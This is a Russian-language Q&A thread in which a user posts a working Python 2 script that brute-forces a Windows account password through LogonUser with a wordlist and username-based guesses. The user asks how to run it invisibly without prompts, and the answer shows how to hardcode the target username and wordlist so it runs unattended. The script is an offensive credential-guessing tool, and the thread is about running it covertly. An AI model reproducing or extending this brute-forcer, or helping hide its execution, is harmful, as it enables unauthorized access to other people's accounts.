1

вопрос

Когда я запускаю свой скрипт на python, как в следующем примере:

c:/python
tool.py

Когда я запускаю это, он просит меня ввести имя пользователя вручную при сканировании, а затем просит меня ввести имя файла вручную, содержащее другую необходимую информацию.


Вопрос

У меня есть другое решение из другого поста, как запустить этот процесс невидимым, но он все еще запрашивает у меня эти значения при запуске, и я бы хотел, чтобы он просто запускался без запроса этих значений.


Python Script

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()

1 ответ1

1

Причина

Сценарий Python использует raw_input функции, поэтому он подскажет , что установить эти значения переменных быть.

raw_input([подсказка])

Если аргумент подсказки присутствует, он записывается в стандартный вывод без завершающей строки. Затем функция читает строку из ввода, преобразует ее в строку (убирая завершающий перевод строки) и возвращает ее. Когда EOF читается, EOFError повышается.

источник


Исправление

Чтобы решить эту проблему, просто измените эту часть логики, чтобы вместо нее использовать переменные , и установите значения, которые должны быть такими, какими они должны быть.

переменные

Переменная - это то, что содержит значение, которое может измениться. Проще говоря, переменная - это просто ящик, в который можно положить вещи. Вы можете использовать переменные для хранения всех видов вещей, но сейчас мы просто рассмотрим хранение чисел в переменных.

lucky = 7 
print (lucky) 
7

источник


Объясненные Изменения

В вашем скрипте Python вы захотите изменить старую логику, чтобы она выглядела как новая логика. Это предотвратит всплывающее окно, где вы вводите эти значения в интерактивном режиме.

Вам просто нужно убедиться, что вы установили значения <username> и <file.txt> чтобы они были статическими. После внесения этих изменений подсказка должна прекратиться.

Старая логика (удалить)

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

Новая логика (чтобы включить)

u = "<username>"
fis = "<file.txt>"

Дополнительные ресурсы

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .